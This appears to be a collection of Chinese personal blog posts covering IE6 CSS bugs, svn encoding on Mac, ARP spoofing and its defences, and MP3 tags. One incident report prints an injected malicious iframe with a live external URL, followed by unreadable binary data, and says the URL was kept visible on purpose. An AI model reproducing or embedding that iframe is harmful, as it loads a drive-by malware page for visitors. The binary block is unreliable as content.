ie-bug

1. size,padding和margin距离异常

在IE6中,各种size,padding和margin总是感觉怪怪的,有时候死活差那么几个像素.这时候可以使用单独为IE准备的CSS文件来纠正.只需要在页面头部加类似这样的CSS文件即可:

[code=’html’]

[/code]

其中的ie.css是对主CSS文件中,那些在IE6下显示异常的元素,重新定义的CSS.

2. 块元素居中问题

在现代浏览器中,一个块元素,假设是一个p,设置了宽度,设置左右margin都是auto之后,渲染效果应该是居中.但是在IE中,必须对其父元素,假设是body,加text-align:center;才能看到居中效果:

[code=’css’]body { text-align: center; }[/code]

并且,你还要在子元素p里把继承的居中纠正回来:
[code=’css’]p { text-align: left; }[/code]

3. div最小高度不能低于12px的bug

如果你需要一个高度很小的div,假设说做一个分隔线之类,你会发现div最小高度不会低于12px.这时候要设置div的line-height: 0;才行.

[code=’html’]

[/code]

如果还是不行,你要在div里套一个p,并且指定这个p的line-height: 0;.

[code=’html’]

[/code]

4. 浮动元素的双倍margin距离bug

这是一个非常严重的bug.你会发现你的侧边栏总会跑到第二行去显示,或者明明你计算好宽度,平分两半,还预留了些空隙,在Firefox显示正常,在屏幕左右分布的两个块元素,在IE下非换行不可.说起来应当是IE的float块元素,margin加倍渲染的bug.
这样的代码:
[code=’css’]
.floatbox {
float: left;
width: 150px;
height: 150px;
margin: 5px 0 5px 100px;
/*This last value applies the 100px left margin */
}
[/code]

正确的渲染应该是这样:

marg-norm

但是在IE5和IE6里,margin的100px被加倍,渲染成这个样子:

marg-doubled

margin被加倍成了200px.
浮动元素的双倍margin距离bug的出现条件和特点是:

  1. float块元素
  2. margin方向与float方向相同,即float: left;的块只会加倍margin-left的值.
  3. 这个float块与其父容器的内边之间夹着这个margin的情况下,才会加倍.当前行的第二个float块,因为其左边不是父容器的内边,就不会出现这个bug.
  4. 浮动元素的双倍margin距离bug具备左右对称性.

修复很简单,在所有float的元素的CSS中加入display: inline;即可.其实根据W3C对float的定义,当float具备left或者right时,display效果应当是不起作用的,除非是display: none;,但是指定了display: inline;确实让IE6正确显示了margin.

5. 盒模型的bug

看这样一段代码:

[code=’css’]
div#box {
width: 100px;
border: 2px solid black;
padding: 10px;
}
[/code]

根据盒模型定义,这个div的宽度应该是2+10+100+10+2=124px.大部分浏览器也是这样解析的,唯独IE6认为它是100px宽.
这个bug会对布局带来严重影响.消除这个bug只需要在页首制定DTD即可.

[code=’html’][/code]

此前的一篇文章这样解释:在页首制定了DTD,浏览器就认定Web开发者知道并理解DTD,于是就会使用兼容标准的方式来解析和渲染页面.

6. PNG图片不能透明bug

在IE6中,PNG图片原本透明的部分被渲染成不透明的颜色.可以使用这篇文章提到的办法修复之.
其实这个bug只会出现在设置为alpha透明方式的png图片上,导引色透明方式在IE6中则不会出现不能透明的bug.

参考资料

最近在忙什么?很久没写文字了吧~
这几天一连接了两个网站项目来做,成功地都变成了WordPress后台.为WordPress开发模板真的是一件只能用惬意来形容的事情.一旦习惯了WordPress的”方言”,强大的功能实现起来并不是一个梦.
整体感觉起来,WordPress中提供对每篇文章的自定义域是最强大的功能,简直提供了一个小型数据库,你可以定义成任何东西!

zainanfang

上图就是最近一直在做的一个网站,在南方,是一个诗社.

Mac OS X 10.5.6中系统自带的svn版本是1.4.4,属于较老的svn版本了.
本来运行的好好的,后来重装过一次Mac OS X之后,svn里面处理中文文件夹和中文文件名的时候就出现乱码的情况了.
乱码表现为,中文文件名和文件夹名都是反斜线加数字的形式.

Terminal字符集设置

开始我以为是Terminal的字符集设置问题,只需要改成UTF-8即可:
2009-03-31_0842

这样做之后Terminal可以正常显示中文,但是svn还是不行.看来应该是svn的问题了.Google半天很少有结果,因为毕竟在svn里用中文的人就少,一来西方人多,二来正常的项目里面的文件和文件夹名,为了习惯,都采用英文.发现一个日本人的博客,根据里面间断的英文和数字版本号,我觉得他是在说一个svn针对UTF-8问题的patch.他说升级到1.5就没有问题了.
查了一下Mac OS X上svn最新版本是1.6.0,于是我的第一个想法是升级svn.

Mac OS X 10.5.6下升级svn (Subversion Client)

先装MacPorts.MacPorts可以理解成Mac OS X下的apt-get和yum.
注意,安装MacPorts 1.7.1的时候,最后一步”Running MacPorts 1.7.1 install script”的时候很慢,耐心等着,MacPorts需要下载些软件信息,网速不好的时候,这一步会很慢.当然,如果能做些提示就好了,我也是Force Quit两次,回来都卡住,才决定等下去…
MacPorts装好之后,安装svn就行:

[code=’sh’]sudo port install subversion[/code]

MacPorts会先装好依赖项,然后装好最新的subversion (svn),我昨晚装好是1.6.0:

[code=’sh’]
zheng-lis-macbook-pro:SVNs nocoo$ svn –version
svn, version 1.6.0 (r36650)
compiled Mar 30 2009, 23:02:31
[/code]

看看环境变量,做最关键的一步:
[code=’sh’]vim ~/.profile[/code]

这里前几行是MacPorts自动设置的一些东西,可以看到,MacPorts为我们装的东西都放在/opt/local/bin和/opt/local/sbin里面了.你需要在后面加最后一句,让svn以”zh_CN.UTF-8″编码去运行.

[code=’sh’]
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
export MANPATH=/opt/local/share/man:$MANPATH
alias svn=’env LC_CTYPE=zh_CN.UTF-8 svn’
[/code]

2009-03-31_0857
注意最后”svn status”的结果,这是升级前后两次同样的”svn mkdir 测试”的结果比较.之前一个就显示了乱码.

后记
当然,我现在猜想,如果不升级svn,之间在profile里加”alias svn=’env LC_CTYPE=zh_CN.UTF-8 svn'”,应该也行.不过木已成舟…

thermos-voip7

ARP

ARP,即Address Resolution Protocol,地址解析协议,用于在局域网络中,将32位IP地址解析成48位MAC地址。因为在局域网络中,数据包的传递是基于MAC地址进行的,因此在局域网中,一台计算机(例如192.168.1.100)将一个数据包发往某个特定的IP(例如192.168.1.1)时,首先要做的就是找到这个IP所对应的MAC地址。
众所周知,MAC地址是和NIC绑定,而IP地址是可以配置的。因此ARP必须通过某种广播的形式实现。ARP进行的过程如下:

  1. [192.168.1.100]: 都听着,谁的IP地址是192.168.1.1?
  2. [192.168.1.101]: (不关我事,知道也不告诉你,保持静默)
  3. [192.168.1.1]: 我是192.168.1.1,我的MAC地址是00-11-22-33-44-55。
  4. [192.168.1.100]: (好,发给192.168.1.1的数据包应该发给00-11-22-33-44-55)

正常情况下的ARP进行就是这样简单。通过病毒的方式,可以让某一台主机,比如102101,可以相应别人的ARP请求。这样的情况下:

  1. [192.168.1.100]: 都听着,谁的IP地址是192.168.1.1?
  2. [192.168.1.101]: 我是192.168.1.1,我的MAC地址是00-AA-BB-CC-DD-EE。
  3. [192.168.1.100]: (好,发给192.168.1.1的数据包应该发给00-AA-BB-CC-DD-EE)
  4. [192.168.1.1]: 我是192.168.1.1,我的MAC地址是00-11-22-33-44-55。
  5. [192.168.1.100]: (我已经知道192.168.1.1的MAC了,暂时不需要了)

在将来的一小段时间里,192.168.1.100会把本应发给192.168.1.1的数据包错误地发给了192.168.1.101,直到ARP缓存该更新的时候。
但是更新的时候,说不定192.168.1.101又抢在192.168.1.1前面响应了请求,那就继续错下去吧…如果192.168.1.1抢在前面,那么一小段时间里又恢复正常。

RARP

RARP是ARP的反协议,将48位MAC地址解析成32位IP地址。应用范围非常非常小,教科书上讲用于无盘工作站,这种计算机本地没有存储,一切都通过网络建立。那么它一开机的时候,因为没有本地存储,无从存储IP地址,只有写死在NIC里的MAC地址。下面的环境建立过程必须和某台服务器有关,而为了联系服务器,必须先有个IP地址。这时候,就会广播RARP,问下大家,我是00-11-22-33-44-55,我的IP应该是什么呢?然后某人返回一个IP,无盘工作站再用这个IP去联络别的服务器。
当然你会觉得RARP和DHCP,BOOTP差不多,都是将48位MAC地址解析成32位IP地址,分配IP的过程。其实RARP比DHCP,BOOTP老很多很多,而且仅限于局域网络。路由器是不会转发RARP包到别的网段的,而DHCP,BOOTP可以一级一级被转发。当然,DHCP,BOOTP绝对可以代替RARP,是RARP的超集。

ARP欺骗的后果

ARP欺骗一旦发生,造成的后果是三方面的。如果中毒计算机把自己伪装成网关,那么就能控制很多机器上网,原本发给网关的数据包发给了它。

  1. 拒绝服务(DoS):如果中毒计算机收到本应该网关转发出去的数据包,不再转发,那么其他计算机就不能上网了,看起来就是网关挂掉了。
  2. 信息泄露:中毒计算机默默地把数据包记录下来,然后继续转发给真正的网关,其他计算机在根本没有感觉的情况(除非一点点性能差异)下,数据就被人记录了,没有加密的数据就被第三方看到了。
  3. 木马,病毒和广告:中毒计算机把进出的数据包拆开来,在html页面前面或者后面(也可以中间,不过那样会影响性能啊,人家会发现的…)加点别的代码,指向木马,病毒或者广告,那么你上网或者你是服务器,你的客户就无端发现中毒或者多了个广告。

如何防范ARP欺骗

ARP欺骗的难度在于你把自己机器查了10000遍都找不到为什么错了。因为问题根本不在你机器上。
最简单的办法,绑定网关的IP地址和真正的MAC地址。在Linux下,使用这样的命令:
[code=’sh’]arp -s 网关IP地址 网关MAC地址[/code]
arp -s的效果不是持久的,重启之后就消失了。这样的设计是为了防止一旦绑定,网关NIC更换,或者MAC更换后,你就连不上了。
所以,如果你的网络环境是你自己可以控制的,你知道网关网卡不会经常换,或者换的时候你能看到或者得到通知的环境里,你可以把命令写在启动脚本里,这样ARP再广播你也不受影响。
另一种情况,你的网络环境不可预知,天知道什么时候换网关的MAC地址的情况,写死肯定不行。这种情况下…
[code=’sh’]arp -d 网关IP地址[/code]
这个命令是删除网关IP地址的ARP缓存用的,你可以反复执行这个命令,然后用arp命令观察网关MAC的变化,直到网络正常为止,那么那一个MAC是真正的网关MAC。你可以临时用arp -s锁一下。
当然存在这种可能,局域网内有101台机器,你是其中之一。网关也是其中之一。除了你们俩之外所有机器都中了ARP病毒,疯狂伪装自己成网关。在这种情况下,你得到网关MAC的几率是1%…这种时候你需要的是信念,人间正道是沧桑,天生我才必有用…总有一天,你能得到真正的网关MAC地址的。
还有一种可能,如果中毒的机器广播ARP的速率比网关默认的还快…换个机房吧。
当然,当发生ARP欺骗时,打电话骂机房和网管总是有道理的。因为原则上网管有这两项义务:

  • 告知你当前网关真正MAC地址。
  • 根据你提供的假网关MAC地址,寻找到其对应的真正机器,拔掉那台机器网线。

美好的夜晚,就在某人发来“晚安~”之后被ARP攻击毁掉了…
20:07:32,blue问我是不是对服务器进行操作了,页面显示不正常。
检查发现这样的状况:

<iframe src=http://f.ugt4d.cn/d1/13/index.htm width=100 height=0></iframe>‹������´VOo#5?©ßÁ5Rè2N²Ý²M2Alº‚E Tlpª<cÏŒµ{°=¤ˆÏÃXqZq¡’+Hœ¸pCâÎ… Ï3ùÛ¦¥ZÁ2cûýý½÷~ÎhÿäãÉô‹ÓÇ(s¹D§Ÿ>zúd‚p‡ÏîO9™ž Ïߟ~øõ‚.šª¬pB+*    yüF8s®RUUPÝ´IÉô2ó¶z^yñÙqšs ÷Z£Úã,—ʆ;ìôŽõF˜SæßN8ÉÇ’ÂÆåÅ>z—åB    æ6oY4ÑÊ
yPÅåˆ4 •sG‘÷Ñá_–â<Ä^+יΠŽQܬBìøÌïsˆâŒË]˜FÏë�¤PÏQfx œ¦ÜêÝÇ‘:*ˆ­ÅÈpbëæ’ÛŒs‡‘ õ�ñÆÈ2Q8$©JK0âè9}Voz¯”9°\&AA
Ä$†æÜ’«Ôeh?DÝ{諽Ö›2RÇÔ2—ùæÎp¯õõ^+)UìW)†Çî 4²1S    Åtµ’ /$y-Ð(H°=2Ëõ__#IŽ*Á\â£n£HÆMˆá3æR”1¡Ò?lÖ¶ q½öç’ZhˆÒÚP¾3[>nðxäØÒÏÃ.,‰c›{½îÆæõÓþ•µâÌÂs]NèQ.ÒÌ
»Å¬ö<n«ÈÃZÚ ²UˆBñˆ@Zj©k©ÍàÍž££a
×±â‚z‡Å¬YVyÀJ²!ÿüí«?üñë%@fÆ7zù— ®on¬S¼šÎ;}üŸîòŸh“#ÑL³ÚÂÔ(hôE­1¢uÆx1nA‘ï4£ιmÒB¥[ŒZ&ãjiÂ
†Ñ9•%|«~ÿ={~«xcv¥æo“†Á8ƒà+jÖN|kìÄ“J‘BÆW¹|ùÍå߃,“gë>¥ žô!ÿ´ÎwléÒµi^ =jµY˜ò„ó.kƒ70f0Æ|æµ€}¨IÄðYDöêǍßXŽ;ù‚çû?×áoT@ù+í1i`ªëv¶Þõâþ¼;Œ»Guc«_;\&!Öı¯-£\¸õD¥sZ­
úÓïè»—ž·GÄC>¾³7X×ß    Û©    œÚƒ{ÏÞ)•×€ãžØÆ?Ü›žºÖ×�>

P.S. 我之所以没有隐藏掉iframe里的src,完全是SEO需要,下一个中招的弟兄可以搜到这篇文章。我知道你年少轻狂,也别动去访问那一页的念头!

总之就是所有页面前面都被加了一个iframe,明显的ARP攻击症状。
搜索从来不删除邮件的Gmail,我发现上次ARP攻击之后,我们的真正网关的MAC被换过了…所以这也是我不想轻易执行arp -s绑定的原因:机房会换网关的,而一旦换了我们不知道,就回导致断网。
于是我只好不断执行arp命令查看当前的MAC,发现是错误的MAC,就执行以下命令清除ARP缓存:

[code=’sh’]arp -s 网关IP地址 网关真正的MAC地址[/code]

然而我悲壮地发现ARP缓存更新非常快,不到两分钟呢。我总不能一夜都手工干这个啊。于是我还是动了-s的念头。最终-s暂时躲过了这一劫,下面到了21点30分,例行宕机时间了…

继续汉字信息化的问题。
我有些习惯,一尘不染的习惯,包括我的iPod中全部MP3歌曲,都包含了完整的tag元数据,歌手、专辑,甚至插图,一样不少。
转到Mac OS X来,拷贝过来的MP3在iTunes里,tag全部变成了乱码,很是郁闷。
这其实是MP3中tag数据的编码问题,Mac OS X里的编码解释没解释对,所以变成了乱码。解决方法,只要把所有文件的tag用一种Windows和Mac OS X都认识的编码重新转换即可。这个软件叫做MP3Tag,免费的。
流程如下(在Windows下操作):

  1. 首先把整个音乐库以添加文件夹的形式导入进来。
  2. 在工具,选项,标签,Mpeg中的写入,选择“ID3v2.3 UTF-16”。
  3. 然后确定出来全选,点右键,选择“保存标签”。
  4. 重新拷贝到Mac OS X下,导入iTunes。

2009-03-12_2017

嘿嘿,大功告成~

后记.NND,我截图的时候谁在狂发QQ!

概括一下:…
刚发表了一篇算是批评Gmail长时间的Outage,然后不久之后,我就犯下一个错误…
在同济网服务器上执行了一个错误的arp -s指令,导致机器就找不到网关了,服务器连接自然也就断了。
打电话给机房,发现IDC已经换上了极度炫的400免费电话,而且还有机器人应答,但是转人工的时候逼我听了好长时间的音乐,也不知道是接电话的兄弟上厕所还是CS还是睡着了(才晚上10点),不过最终还是接了。
IDC值班的兄弟告诉我一个很寒的事实:虽然是24小时服务,但是晚上机房里就没有技术人员了,只有按Reset的人。要想干点技术工作,还是等天亮吧。